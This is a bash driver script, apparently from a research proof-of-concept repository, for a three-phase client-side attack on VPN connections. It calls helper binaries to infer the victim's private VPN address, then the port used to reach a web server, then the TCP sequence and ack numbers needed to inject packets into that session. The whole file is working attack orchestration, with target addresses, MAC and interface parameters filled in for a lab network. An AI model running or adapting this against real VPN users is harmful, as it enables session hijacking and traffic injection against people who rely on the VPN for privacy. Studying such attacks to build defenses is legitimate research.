vpn-attacks/client-side-attack/complete_attack/attack.sh

REMOTE_ADDR=192.168.3.2 # ip of web-server to check for connection
REMOTE_PORT=8080 # web server port

VICTIM_WLAN_ADDR=172.16.4.2 # vpn client wlan ip
WLAN_GATEWAY=172.16.4.254  # address of local network gateway
VICTIM_PRIV_NET=10.8.0.0
PRIV_NETMASK=255.255.255.0

REQUEST_SIZE=529
DEST_MAC=08:00:27:e8:bf:1f
INTERFACE=enp0s9

printf "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"


echo `date`
echo "attempting to infer client's private VPN address.."

cd ../first_phase


PRIV_IP="$(sudo ./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
echo "phase 1 client private IP: ${PRIV_IP}"

printf "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"

echo `date`
echo "determining if client is talking to ${REMOTE_ADDR} on any port.."
cd ../sec_phase

VPORT="$(sudo ./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $INTERFACE)"
echo "phase 2 port result: ${VPORT}"

printf "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
echo `date`
echo "beginning phase 3 to infer sequence and ack numbers needed to inject.."
cd ../third_phase

sudo ./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE $INTERFACE


echo `date`